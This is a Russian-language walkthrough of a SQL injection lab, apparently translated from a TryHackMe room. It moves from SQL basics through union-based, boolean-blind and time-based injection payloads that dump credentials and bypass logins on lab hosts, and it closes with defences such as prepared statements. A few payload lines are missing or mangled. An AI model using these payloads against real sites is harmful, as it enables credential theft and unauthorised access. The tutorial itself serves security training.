День 25. SQL Injection
Продолжаем путь, сегодня у нас задача разобрать уязвимость SQLI
Дисклеймер - обязательно к прочтению!
Задание 1 - Краткий
SQL -инъекция (Structured Query Language) — это атака на сервер базы данных веб-приложения , которая приводит к выполнению вредоносных запросов. Когда веб-приложение взаимодействует с базой данных, используя входные данные пользователя, которые не были должным образом проверены, существует вероятность того, что злоумышленник сможет украсть, удалить или изменить личные и клиентские данные, а также атаковать методы аутентификации веб-приложения в личных или клиентских областях. Именно поэтому SQL- инъекция является одной из старейших уязвимостей веб-приложений и может быть наиболее разрушительной.
На этом занятии вы узнаете, что такое базы данных, что такое SQL и некоторые основные команды SQL , как обнаруживать уязвимости SQL , как использовать уязвимости SQL-инъекции и, как разработчик, как защитить себя от SQL- инъекций.
Задание 2 - Что такое база данных?
Если вы не привыкли работать с базами данных или использовать их в своих целях, вам, вероятно, придётся освоить новую терминологию, поэтому давайте начнём с основ структуры и принципов работы баз данных.
База данных — это способ электронного хранения наборов данных в организованном виде. Базой данных управляет система управления базами данных (СУБД), аббревиатура которой расшифровывается как «система управления базами данных». СУБД делятся на две категории: реляционные и нереляционные; в этом разделе мы сосредоточимся на реляционных базах данных; среди распространенных можно назвать MySQL, Microsoft SQL Server, Access, PostgreSQL и SQLite. Мы объясним разницу между реляционными и нереляционными базами данных в конце этого задания, но сначала важно выучить несколько терминов.
В рамках СУБД может быть несколько баз данных, каждая из которых содержит свой набор связанных данных. Например, у вас может быть база данных под названием « магазин ». В этой базе данных вы хотите хранить информацию о товарах, доступных для покупки , пользователях , зарегистрировавшихся в вашем интернет-магазине, и информацию о полученных заказах . Вы будете хранить эту информацию отдельно в базе данных, используя так называемые таблицы. Каждая таблица имеет уникальное имя. Вы можете увидеть эту структуру на диаграмме ниже, но вы также можете увидеть, как компания может иметь другие отдельные базы данных для хранения информации о сотрудниках или бухгалтерии.
Таблица состоит из столбцов и строк; удобно представить таблицу в виде сетки, где столбцы расположены сверху слева направо и содержат название ячейки, а строки — сверху вниз, и в каждой из них находятся сами данные.
Каждый столбец, который лучше называть полем, имеет уникальное имя для каждой таблицы. При создании столбца вы также указываете тип данных, которые он будет содержать; обычно это целые числа, строки (стандартный текст) или даты. Некоторые базы данных могут содержать гораздо более сложные данные, например, геопространственные данные, содержащие информацию о местоположении. Установка типа данных также гарантирует, что не будет сохранена некорректная информация, например, строка «hello world» в столбце, предназначенном для дат. В этом случае сервер базы данных обычно выдаст сообщение об ошибке. Столбец, содержащий целое число, также может иметь включенную функцию автоинкремента; это присваивает каждой строке данных уникальный номер, который увеличивается (приращен) с каждой последующей строкой. Это создает так называемое ключевое поле; ключевое поле должно быть уникальным для каждой строки данных, что можно использовать для поиска именно этой строки в SQL- запросах.
Строки или записи содержат отдельные строки данных. При добавлении данных в таблицу создается новая строка/запись; при удалении данных строка/запись удаляется.
What is the acronym for the software that controls a database?
Вопрос: Какова аббревиатура программного обеспечения, управляющего базой данных?
What is the name of the grid-like structure which holds the data?
Вопрос: Как называется сетчатая структура, в которой хранятся данные?
Ответ:table
Задание 3 - Что такое SQL?
SQL (Structured Query Language) — это многофункциональный язык, используемый для запросов к базам данных. Эти SQL- запросы правильнее называть операторами.
Простейшие команды, которые мы рассмотрим в этом задании, используются для получения (выбора), обновления, вставки и удаления данных. Хотя они несколько похожи, некоторые серверы баз данных имеют свой собственный синтаксис и небольшие изменения в работе. Все эти примеры основаны на базе данных MySQL. После изучения материала вы легко сможете найти в интернете альтернативный синтаксис для разных серверов. Стоит отметить, что синтаксис SQL не чувствителен к регистру.
Первый тип запроса, который мы изучим, — это запрос SELECT, используемый для извлечения данных из базы данных.
Первое слово SELECT указывает базе данных, что мы хотим получить данные; * указывает базе данных, что мы хотим получить все столбцы из таблицы. Например, таблица может содержать три столбца (id, username и password). "from users" указывает базе данных, что мы хотим получить данные из таблицы с именем users. Наконец, точка с запятой в конце указывает базе данных, что это конец запроса.
Следующий запрос аналогичен предыдущему, но на этот раз вместо использования символа * для возврата всех столбцов в таблице базы данных мы запрашиваем только поля имени пользователя и пароля.
select username,password from users;
Следующий запрос, как и первый, возвращает все столбцы, используя селектор *, а затем условие "LIMIT 1" заставляет базу данных возвращать только одну строку данных. Изменение запроса на "LIMIT 1,1" заставляет запрос пропускать первый результат, затем "LIMIT 2,1" пропускает первые два результата и так далее. Важно помнить, что первое число указывает базе данных, сколько результатов вы хотите пропустить, а второе число указывает базе данных, сколько строк нужно вернуть.
Наконец, мы воспользуемся условием WHERE; именно так мы сможем точно выбрать необходимые нам данные, получив результаты, соответствующие нашим конкретным условиям:
select * from users where username='admin';
Оператор UNION объединяет результаты двух или более операторов SELECT для извлечения данных из одной или нескольких таблиц; правила этого запроса таковы: оператор UNION должен извлекать одинаковое количество столбцов в каждом операторе SELECT, столбцы должны иметь схожий тип данных, а порядок столбцов должен быть одинаковым. Это может показаться не очень понятным, поэтому давайте воспользуемся следующей аналогией. Допустим, компания хочет создать список адресов всех клиентов и поставщиков для размещения нового каталога. У нас есть одна таблица под названием customers со следующим содержимым:
А еще один, названный «поставщики», содержал следующую информацию:
Используя следующий SQL-запрос, мы можем собрать результаты из двух таблиц и объединить их в один набор результатов:
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;
Оператор INSERT сообщает базе данных, что мы хотим вставить новую строку данных в таблицу. Фраза "into users" указывает базе данных, в какую таблицу мы хотим вставить данные, "(username,password)" указывает столбцы, для которых мы предоставляем данные, а затем "values ('bob','password');" предоставляет данные для ранее указанных столбцов.
insert into users (username,password) values ('bob','password123');
Оператор UPDATE сообщает базе данных, что мы хотим обновить одну или несколько строк данных в таблице. Вы указываете таблицу, которую хотите обновить, используя " update %tablename% SET ", затем выбираете поле или поля, которые хотите обновить, в виде списка, разделенного запятыми, например, " username='root',password='pass123' ", и, наконец, аналогично оператору SELECT, вы можете точно указать, какие строки нужно обновить, используя условие WHERE, например, " where username='admin; ".
update users SET username='root',password='pass123' where username='admin';
DELETE
Оператор DELETE сообщает базе данных, что мы хотим удалить одну или несколько строк данных. За исключением отсутствия столбцов, которые вы хотите вернуть, формат этого запроса очень похож на оператор SELECT. Вы можете точно указать, какие данные нужно удалить, используя предложение WHERE , и количество удаляемых строк, используя предложение LIMIT .
delete from users where username='martin';
Поскольку в запросе не использовался оператор WHERE, все данные были удалены из таблицы.
What SQL statement is used to retrieve data?
Вопрос: Какой SQL-запрос используется для извлечения данных?
What SQL clause can be used to retrieve data from multiple tables?
Вопрос: Какой SQL-запрос можно использовать для извлечения данных из нескольких таблиц?
What SQL statement is used to add data?
Вопрос: Какой SQL-запрос используется для добавления данных?
Задание 4 - Что такое SQL-инъекция?
Что такое SQL- инъекция?Веб-приложение, использующее SQL, может стать объектом SQL- инъекции, когда в SQL- запрос включаются предоставленные пользователем данные.
Как это выглядит?
Рассмотрим следующий сценарий, в котором вы нашли онлайн-блог, и каждая запись в блоге имеет уникальный идентификационный номер. Записи в блоге могут быть либо общедоступными, либо приватными, в зависимости от того, готовы ли они к публичному доступу. URL-адрес каждой записи в блоге может выглядеть примерно так:
Из приведенного выше URL-адреса видно, что выбранная запись в блоге берется из параметра id в строке запроса. Веб-приложению необходимо получить статью из базы данных, и оно может использовать SQL-запрос, который выглядит примерно так:
SELECT * from blog where id=1 and private=0 LIMIT 1;
Из того, что вы узнали в предыдущем задании, вы должны понимать, что приведенный выше SQL- запрос ищет в таблице блога статью с идентификационным номером 1 и значением столбца private, равным 0, что означает, что она доступна для просмотра публике, и ограничивает результаты только одним совпадением.
Как было упомянуто в начале этого задания, SQL- инъекция возникает, когда пользовательский ввод вводится в запрос к базе данных. В данном случае параметр id из строки запроса используется непосредственно в SQL- запросе.
Предположим, что статья с ID 2 по-прежнему закрыта как приватная, поэтому её нельзя просмотреть на сайте. В этом случае мы могли бы вызвать URL-адрес:
https://website.thm/blog?id=2;--
который, в свою очередь, сгенерирует SQL-запрос:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
Точка с запятой в URL-адресе обозначает конец SQL- запроса, а два дефиса обрабатывают всё, что следует после неё, как комментарий . Таким образом, вы фактически выполняете запрос:
SELECT * from blog where id=2;--
который вернёт статью с ID 2 независимо от того, является ли она общедоступной или нет.
Это был лишь один пример уязвимости SQL- инъекции типа In-Band SQL Injection; всего существует три типа: In-Band, Blind и Out-of-Band, которые мы обсудим в следующих заданиях.
What character signifies the end of an SQL query?
Задание 5 - Внутриполосный SQLi
Встроенная SQL- инъекция — это самый простой тип для обнаружения и эксплуатации; встроенная инъекция просто означает, что один и тот же метод связи используется как для эксплуатации уязвимости, так и для получения результатов, например, обнаружение уязвимости SQL- инъекции на веб-странице и последующее извлечение данных из базы данных на ту же страницу.
SQL - инъекция , основанная на ошибках
Этот тип SQL- инъекции наиболее полезен для быстрого получения информации о структуре базы данных, поскольку сообщения об ошибках из базы данных выводятся непосредственно на экран браузера. Часто его можно использовать для перечисления всей базы данных.
SQL- инъекция на основе объединения (Union-Based SQL Injection)
Этот тип инъекции использует оператор SQL UNION вместе с оператором SELECT для возврата дополнительных результатов на страницу. Этот метод является наиболее распространенным способом извлечения больших объемов данных с помощью уязвимости SQL -инъекции.
Нажмите зеленую кнопку «Запустить машину», чтобы использовать практическое руководство по SQL- инъекциям. Каждый уровень содержит фиктивный браузер, а также поля для ввода SQL- запросов и ошибок, которые помогут вам правильно настроить запросы/полезную нагрузку. Возможно, вам потребуется обновить эту веб-страницу после запуска машины, если вы получите ошибку 502 Bad Gateway.
Первый уровень практической работы включает в себя макет браузера и веб-сайта с блогом, содержащим различные статьи, доступ к которым осуществляется изменением идентификационного номера в строке запроса.
Ключ к обнаружению SQL- инъекций, основанных на ошибках, заключается в том, чтобы нарушить SQL- запрос кода, перебирая определенные символы до тех пор, пока не будет выдано сообщение об ошибке; чаще всего это одиночные апострофы ( ' ) или кавычки ( " ).
Попробуйте ввести апостроф ( ' ) после id=1 и нажмите Enter. Вы увидите сообщение об ошибке SQL , указывающее на синтаксическую ошибку. Получение этого сообщения подтверждает наличие уязвимости SQL- инъекции. Теперь мы можем использовать эту уязвимость и сообщения об ошибках, чтобы узнать больше о структуре базы данных.
Первое, что нам нужно сделать, это вернуть данные в браузер без отображения сообщения об ошибке. Сначала попробуем оператор UNION, чтобы получить дополнительный результат, если мы его выберем. Попробуйте установить параметр `id` для фиктивных браузеров следующим образом:
В результате выполнения этого запроса должно появиться сообщение об ошибке, указывающее на то, что оператор UNION SELECT имеет другое количество столбцов, чем исходный запрос SELECT. Поэтому давайте попробуем еще раз, но добавим еще один столбец:
Ошибка повторилась, давайте проверим, добавив еще один столбец:
Успех, сообщение об ошибке исчезло, и статья отображается, но теперь мы хотим отобразить наши данные вместо статьи. Статья отображается, потому что она берет первый результат, полученный где-то в коде веб-сайта, и показывает именно его. Чтобы обойти это, нам нужно, чтобы первый запрос не выдавал результатов. Это можно легко сделать, изменив ID статьи с 1 на 0.
Теперь вы увидите, что статья состоит только из результата запроса UNION SELECT, возвращающего значения столбцов 1, 2 и 3. Мы можем начать использовать эти возвращенные значения для получения более полезной информации. Сначала мы получим имя базы данных, к которой у нас есть доступ:
Теперь вы увидите, что на месте ранее отображавшейся цифры 3 теперь показано название базы данных — sqli_one .
Наш следующий запрос соберет список таблиц, которые находятся в этой базе данных.
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
В этом запросе есть несколько новых моментов, которые стоит изучить. Во-первых, метод group_concat() получает указанный столбец (в нашем случае, table_name) из нескольких возвращаемых строк и объединяет их в одну строку, разделяя запятыми. Во-вторых, это база данных information_schema ; каждый пользователь базы данных имеет к ней доступ, и она содержит информацию обо всех базах данных и таблицах, к которым пользователь имеет доступ. В этом конкретном запросе нас интересует список всех таблиц в базе данных sqli_one , а именно article и staff_users.
Поскольку цель первого уровня — узнать пароль Мартина, нас интересует таблица staff_users. Мы можем снова использовать базу данных information_schema, чтобы узнать структуру этой таблицы, используя приведенный ниже запрос.
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
Это похоже на предыдущий SQL-запрос. Однако информация, которую мы хотим получить, изменилась с table_name на column_name , таблица, к которой мы обращаемся в базе данных information_schema, изменилась с tables на columns , и мы ищем все строки, где столбец table_name имеет значение staff_users .
Результаты запроса предоставляют три столбца для таблицы staff_users: id, password и username. Мы можем использовать столбцы username и password в нашем следующем запросе для получения информации о пользователе.
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
Снова используем метод group_concat, чтобы объединить все строки в одну, что облегчает чтение. Также добавили двоеточие (:), чтобы разделить имя пользователя и пароль. Вместо запятой мы использовали HTML- тег <br> , который размещает каждый результат на отдельной строке для удобства чтения.
Теперь у вас должен быть доступ к паролю Мартина, чтобы войти и перейти на следующий уровень.
What is the flag after completing level 1?
Вопрос: Какой флаг появляется после завершения первого уровня?
Задание 6 - Слепая SQL-инъекция — обход аутентификации
В отличие от SQL- инъекции в полосу пропускания , где мы видим результаты атаки непосредственно на экране, слепая SQL-инъекция — это когда мы получаем минимальную или вообще никакую обратную связь, подтверждающую успешность внедренных запросов. Это происходит потому, что сообщения об ошибках отключены, но инъекция все равно работает. Вас может удивить, что для успешного перебора всей базы данных нам достаточно лишь этой небольшой обратной связи.
Один из самых простых способов слепой SQL -инъекции — обход методов аутентификации, таких как формы входа в систему. В данном случае нас не особо интересует получение данных из базы данных; нам просто нужно обойти процедуру авторизации.
Формы авторизации, подключенные к базе данных пользователей, часто разрабатываются таким образом, что веб-приложение интересуется не содержимым имени пользователя и пароля, а тем, образуют ли они совпадающую пару в таблице пользователей. Проще говоря, веб-приложение запрашивает у базы данных : «Есть ли у вас пользователь с именем пользователя bob и паролем bob123?» База данных отвечает либо «да», либо «нет» (истина/ложь) и, в зависимости от этого ответа, определяет, позволит ли веб-приложение продолжить или нет.
Учитывая вышеизложенную информацию, нет необходимости перечислять действительные пары имя пользователя/пароль. Нам достаточно создать запрос к базе данных, который будет возвращать ответ «да» или «истина».
Второй уровень примеров SQL- инъекций демонстрирует именно этот пример. В поле с надписью « SQL- запрос» мы видим, что запрос к базе данных выглядит следующим образом:
select * from users where username='%username%' and password='%password%' LIMIT 1;
Примечание: значения %username% и %password% берутся из полей формы входа. Начальные значения в поле SQL-запроса будут пустыми, поскольку эти поля в данный момент пусты.
Чтобы запрос всегда возвращал значение true, в поле пароля можно ввести следующее:
В результате SQL- запрос приобретает следующий вид:
select * from users where username='' and password='' OR 1=1;
Поскольку утверждение 1=1 истинно, и мы использовали оператор ИЛИ , это всегда приведет к тому, что запрос вернет значение true, что удовлетворяет логике веб-приложения, согласно которой база данных нашла действительную комбинацию имени пользователя и пароля и доступ должен быть разрешен.
Переходим на 3 уровень и видим флаг
What is the flag after completing level two? (and moving to level 3)
Вопрос: Какой флаг появляется после завершения второго уровня? (и перехода на третий уровень)
Задание 7 - Слепая SQL-инъекция — на основе булевых значений
Инъекции SQL на основе логических значений относятся к ответу, который мы получаем на наши попытки внедрения, и это может быть true/false, yes/no, on/off, 1/0 или любой другой ответ, который может иметь только два результата. Этот результат подтверждает, была ли наша полезная нагрузка SQL- инъекции успешной или нет. На первый взгляд может показаться, что этот ограниченный ответ не может предоставить много информации. Тем не менее, имея всего два ответа, можно перечислить всю структуру и содержимое базы данных.
На третьем уровне интерактивной машины с примерами SQL- инъекций вам будет показан фиктивный браузер со следующим URL-адресом:
https://website.thm/checkuser ? username=admin
В теле браузера содержится {"taken":true} . Эта конечная точка API воспроизводит распространенную функцию, встречающуюся во многих формах регистрации, которая проверяет, зарегистрировано ли уже имя пользователя, чтобы предложить пользователю выбрать другое имя пользователя. Поскольку значение taken установлено на true , мы можем предположить, что имя пользователя admin уже зарегистрировано. Мы можем подтвердить это, изменив имя пользователя в адресной строке имитируемого браузера с admin на admin123 , и после нажатия Enter вы увидите, что значение taken теперь изменилось на false .
Обрабатываемый SQL-запрос выглядит следующим образом :
select * from users where username = '%username%' LIMIT 1;
Единственный параметр, который мы можем контролировать, — это имя пользователя в строке запроса, и нам придётся использовать его для выполнения SQL-инъекции. Сохранив имя пользователя как admin123 , мы можем начать добавлять к нему данные, чтобы заставить базу данных подтверждать истинные значения, изменяя состояние поля taken с false на true.
Как и на предыдущих уровнях, наша первая задача — определить количество столбцов в таблице пользователей, чего мы можем добиться с помощью оператора UNION. Измените значение username на следующее:
Поскольку веб-приложение ответило значением false , мы можем подтвердить, что это неверное значение количества столбцов. Продолжайте добавлять столбцы, пока не получите значение true . Вы можете убедиться, что ответ — три столбца, установив имя пользователя на указанное ниже значение:
admin123' UNION SELECT 1,2,3;—
Теперь, когда количество столбцов определено, мы можем приступить к перечислению элементов базы данных. Наша первая задача — определить имя базы данных. Мы можем сделать это, используя встроенный метод `database()` , а затем оператор ` like` , чтобы попытаться найти результаты, которые вернут статус `true`.
Попробуйте ввести указанное ниже имя пользователя и посмотрите, что произойдет:
admin123' UNION SELECT 1,2,3 where database() like '%';--
Мы получаем положительный ответ, потому что в операторе LIKE у нас есть только значение % , которое соответствует чему угодно, поскольку это значение подстановочного знака. Если мы изменим оператор подстановочного знака на a% , вы увидите, что ответ снова станет ложным, что подтверждает, что имя базы данных не начинается с буквы «a» . Мы можем перебирать все буквы, цифры и символы, такие как «-» и «_», пока не найдем совпадение. Если вы отправите приведенное ниже значение в качестве имени пользователя, вы получите положительный ответ, подтверждающий, что имя базы данных начинается с буквы «s» .
admin123' UNION SELECT 1,2,3 where database() like 's%';--
Теперь переходите к следующему символу имени базы данных, пока не найдете еще один правильный ответ, например, 'sa%', 'sb%', 'sc%' и т. д. Продолжайте этот процесс, пока не найдете все символы имени базы данных, которое равно sqli_three .
Мы определили имя базы данных, которое теперь можно использовать для перечисления имен таблиц аналогичным способом, используя базу данных information_schema. Попробуйте установить имя пользователя на следующее значение:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
Этот запрос ищет результаты в базе данных information_schema в таблице tables , где имя базы данных совпадает с sqli_three , а имя таблицы начинается с буквы a. Поскольку приведенный выше запрос дает ложный ответ, мы можем подтвердить, что в базе данных sqli_three нет таблиц, начинающихся с буквы a. Как и ранее, вам нужно будет перебирать буквы, цифры и символы, пока не найдете положительное совпадение.
В итоге вы обнаружите в базе данных sqli_three таблицу с именем users, что можно подтвердить, выполнив следующую команду для ввода имени пользователя:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
Наконец, нам нужно перечислить имена столбцов в таблице users , чтобы правильно выполнить поиск учетных данных для входа. Опять же, мы можем использовать базу данных information_schema и уже полученную информацию для запроса имен столбцов. Используя приведенный ниже пример, мы выполняем поиск в таблице columns , где имя базы данных равно sqli_three, имя таблицы — users, а имя столбца начинается с буквы a.
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
Опять же, вам нужно будет перебирать буквы, цифры и символы, пока не найдете совпадение. Поскольку вы ищете несколько результатов, вам придется добавлять это в вашу полезную нагрузку каждый раз, когда вы находите новое имя столбца, чтобы избежать обнаружения одного и того же. Например, как только вы найдете столбец с именем id , вы добавите его к вашей исходной полезной нагрузке (как показано ниже).
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
Повторив этот процесс три раза, вы сможете узнать идентификатор, имя пользователя и пароль столбцов. Теперь вы можете использовать их для запроса учетных данных для входа в таблицу пользователей . Сначала вам нужно узнать действительное имя пользователя, которое вы можете использовать в приведенной ниже полезной нагрузке:
admin123' UNION SELECT 1,2,3 from users where username like 'a%
После того, как вы переберете все символы, вы подтвердите существование имени пользователя admin . Теперь у вас есть имя пользователя. Вы можете сосредоточиться на поиске пароля. Приведенная ниже полезная нагрузка показывает, как найти пароль:
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
Определяем длину пароля - длина 4 символа
admin123' UNION SELECT 1,2,3 from users where username='admin' and LENGTH(password)=4;--
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like '3%';--
Перебрав все символы, вы обнаружите, что пароль — 3845.
Теперь вы можете использовать имя пользователя и пароль, которые вы получили, используя уязвимость слепой SQL- инъекции в форме входа, чтобы получить доступ к следующему уровню.
What is the flag after completing level three?
Вопрос: Какой флаг появляется после завершения третьего уровня?
Задание 8 - Слепая SQL-инъекция — на основе времени
Слепая SQL- инъекция, основанная на времени, очень похожа на описанную выше инъекцию, основанную на булевом значении, тем, что отправляются те же запросы, но на этот раз нет визуального индикатора правильности или неправильности ваших запросов. Вместо этого индикатором правильности запроса является время, необходимое для его выполнения. Эта задержка вводится с помощью встроенных методов, таких как SLEEP(x), наряду с оператором UNION. Метод SLEEP() будет выполняться только при успешном выполнении оператора UNION SELECT.
Например, чтобы определить количество столбцов в таблице, вы можете использовать следующий запрос:
admin123' UNION SELECT SLEEP(5);--
Если в процессе ответа не было паузы, значит, запрос был выполнен неудачно, поэтому, как и в предыдущих задачах, добавляем еще один столбец:
admin123' UNION SELECT SLEEP(5),2;--
https://website.thm/analytics?referrer=tryhackme.com?username=admin123' UNION SELECT SLEEP(5),2;--
Данная полезная нагрузка должна была вызвать 5-секундную задержку, подтверждающую успешное выполнение оператора UNION и наличие двух столбцов.
Теперь вы можете повторить процесс перечисления, как при SQL-инъекции на основе логических значений, добавив метод SLEEP() к оператору UNION SELECT .
Если вам сложно найти название таблицы, следующий запрос должен вам помочь:
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--
admin123' UNION SELECT SLEEP(5),2 from users where username like ‘admin%’; -—
admin123' UNION SELECT SLEEP(5),2; from user where username= ‘admin’ and password like ‘x%’
admin123' UNION SELECT SLEEP(5),2; from user where username= ‘admin’ and password like ‘4961%’
What is the final flag after completing level four?
Вопрос:Какой последний флаг появляется после завершения четвертого уровня?
Задание 9 - Внеполосная SQL-инъекция
Внеполосные SQL- инъекции встречаются не так часто, поскольку зависят либо от определенных функций, включенных на сервере базы данных, либо от бизнес-логики веб-приложения, которое выполняет какой-либо внешний сетевой запрос на основе результатов SQL- запроса.
Внеполосная атака классифицируется по наличию двух различных каналов связи: один для запуска атаки, а другой для сбора результатов. Например, каналом атаки может быть веб-запрос, а каналом сбора данных — мониторинг HTTP / DNS- запросов, отправляемых в контролируемый вами сервис.
1) Злоумышленник отправляет запрос на веб-сайт, уязвимый для SQL- инъекций, с помощью вредоносного кода, содержащего внедренную вредоносную программу.
2) Веб-сайт отправляет SQL- запрос в базу данных, через которую также передается полезная нагрузка хакера.
3) Вложенный код содержит запрос, который принудительно отправляет HTTP- запрос обратно на машину хакера, содержащий данные из базы данных.
Name a protocol beginning with D that can be used to exfiltrate data from a database.
Вопрос: Назовите протокол, начинающийся с буквы D, который можно использовать для извлечения данных из базы данных.
Задание 10 - Защита
Несмотря на всю серьезность уязвимостей SQL- инъекций, у разработчиков есть способ защитить свои веб-приложения от них, следуя приведенным ниже рекомендациям:
Подготовленные запросы (с параметризованными запросами):
В подготовленном запросе разработчик сначала пишет SQL- запрос, а затем в качестве параметров добавляются любые пользовательские данные. Написание подготовленных запросов гарантирует, что структура SQL- кода не изменится, и база данных сможет различать запрос и данные. В качестве преимущества это также делает ваш код намного чище и проще для чтения.
Проверка входных данных может значительно повысить безопасность того, что вводится в SQL- запрос. Использование списка разрешенных символов может ограничить ввод только определенными строками, или же метод замены строк в языке программирования может отфильтровать символы, которые вы хотите разрешить или запретить.
Экранирование пользовательского ввода:
Разрешение ввода пользователем символов, таких как ' " $ \, может привести к сбоям SQL- запросов или, что еще хуже, как мы уже узнали, сделать их уязвимыми для инъекционных атак. Экранирование пользовательского ввода заключается в добавлении обратной косой черты ( \ ) к этим символам, что приводит к тому, что они интерпретируются как обычная строка, а не как специальный символ.
Name a method of protecting yourself from an SQL Injection exploit.
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!